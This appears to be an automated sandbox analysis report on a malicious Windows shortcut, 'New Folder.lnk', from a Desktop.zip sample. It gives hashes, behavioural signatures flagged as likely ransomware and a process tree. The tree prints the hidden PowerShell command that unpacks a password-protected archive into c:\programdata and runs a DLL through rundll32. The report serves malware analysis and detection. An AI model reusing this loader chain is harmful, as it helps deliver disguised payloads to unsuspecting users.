Analysis
- max time kernel
42s - max time network
45s - platform
windows7_x64 - resource
win7-20220414-en - submitted
26/05/2022, 16:35
Static task
static1
Behavioral task
behavioral1
Sample
Desktop.zip
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
Desktop.zip
Resource
win10v2004-20220414-en
Behavioral task
behavioral3
Sample
7za.exe
Resource
win7-20220414-en
Behavioral task
behavioral4
Sample
7za.exe
Resource
win10v2004-20220414-en
Behavioral task
behavioral5
Sample
New Folder.lnk
Resource
win7-20220414-en
Behavioral task
behavioral6
Sample
New Folder.lnk
Resource
win10v2004-20220414-en
Behavioral task
behavioral7
Sample
arch.7z
Resource
win7-20220414-en
Behavioral task
behavioral8
Sample
arch.7z
Resource
win10v2004-20220414-en
General
- Target New Folder.lnk
- Size 1KB
- Sample220526-t3xe3ahack
- SHA256 315b3d80643da454b40cc938a0e8794f90ccbd05868e55b4848cacbf047850ae
- MD5 fd21be3db76b714cb4dfae779d1ada1f
- SHA1 8157b198c00de0a19b1d02ae7b76c78857baccd2
- SHA512 1c06c3094c47bbfa187f0bb9cb85e76ccc3e715048a0459382c8da28721e774de64a132c716b1bcce6175d769fce296d82e864b90b8aa9e8b27678a40336e0e2
- MD5 SHA1 SHA512
Malware Config
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 472 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 472 powershell.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1008 wrote to memory of 1912 1008 cmd.exe 29 PID 1008 wrote to memory of 1912 1008 cmd.exe 29 PID 1008 wrote to memory of 1912 1008 cmd.exe 29 PID 1912 wrote to memory of 472 1912 cmd.exe 30 PID 1912 wrote to memory of 472 1912 cmd.exe 30 PID 1912 wrote to memory of 472 1912 cmd.exe 30
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\New Folder.lnk"1⤵
- Suspicious use of WriteProcessMemory
PID:1008 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell -WindowStyle Hidden -Command ".\7za.exe x arch.7z -p434330cf2449 -o\"c:\programdata\" -y > $null; rundll32 c:\programdata\arch.dll,oUlluzkNOs2⤵
- Suspicious use of WriteProcessMemory
PID:1912 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command ".\7za.exe x arch.7z -p434330cf2449 -o\"c:\programdata\" -y > $null; rundll32 c:\programdata\arch.dll,oUlluzkNOs3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:472
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